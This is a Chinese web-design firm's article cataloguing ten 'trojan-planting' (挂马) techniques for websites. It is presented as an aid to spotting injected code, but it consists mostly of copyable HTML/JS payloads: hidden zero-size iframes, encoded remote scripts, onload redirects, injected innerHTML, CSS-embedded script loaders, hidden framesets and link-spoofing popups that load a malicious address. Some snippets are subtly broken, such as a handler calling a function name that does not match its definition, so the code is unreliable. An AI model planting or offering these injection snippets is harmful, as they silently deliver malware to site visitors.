探索设计与体验的融合
Fusion design exploration and experience
新闻动态
News
好的网络营销公司会给客户提出建设性的意见,善于对客户进行良性引导
您的位置:>> 网站首页 >> 技术文章
番禺网站建设--网站挂马方式大总结

    这篇文章主要结合本站《网站给黑了,如何找到罪魁祸首?》这篇文章,详细告诉大家网站被黑经常使用的网页挂马方式,从而可以对自己的网页进行防范,只要检测这些经常被用于挂马的地方,很容易找到木马的所在。

一:框架挂马

<iframe src=地址 width=0 height=0></iframe>

其中“地址”处可以输入恶意网站链接等

二:js文件挂马

只要是JS文件,都可以通过被恶意修改从而被挂上恶意代码,一般被全站引用的JS代码最容易被挂木马,检测我们可以查看JS代码的左边或下边,坏人很喜欢将恶意代码与正常代码间用很多空格或回车来进行隐藏,所以要多看看JS代码页面有没有被故意拉长等。

三:js变形加密

<SCRIPT  language="JScript.Encode" src=http://www.py162.com/></script>
muma.txt可改成任意后缀


四:body挂马

<body onload="window.location='地址';"></body>

五:隐蔽挂马

top.document.body.innerHTML = top.document.body.innerHTML + '\r\n<iframe src="http://www.py162.com/index.html/"></iframe>';

六:css中挂马

body {
background-image: url('javascript:document.write("<script src=http://www.py162.com/test.js></script>")')}

这种方式比较狠,也比较难发现。

七:JAJA挂马

<SCRIPT language=javascript>
window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
</script>

八:图片伪装

<html>
<iframe src="网马地址" height=0 width=0></iframe>
<img src="图片地址"></center>
</html>

九:伪装调用

<frameset rows="444,0" cols="*">
<frame src="打开网页" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
<frame src="网马地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
</frameset>

十:高级欺骗

<a href="http://www.py162.com(迷惑连接地址,显示这个地址指向木马地址)" onMouseOver="www_py162_com(); return true;"> 页面要显示的内容 </a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url="网马地址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,
scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>

相关链接>>
您对此文有什么评论?
类型: 意见建议 内容报错
网友对此文的评论:
未有评论!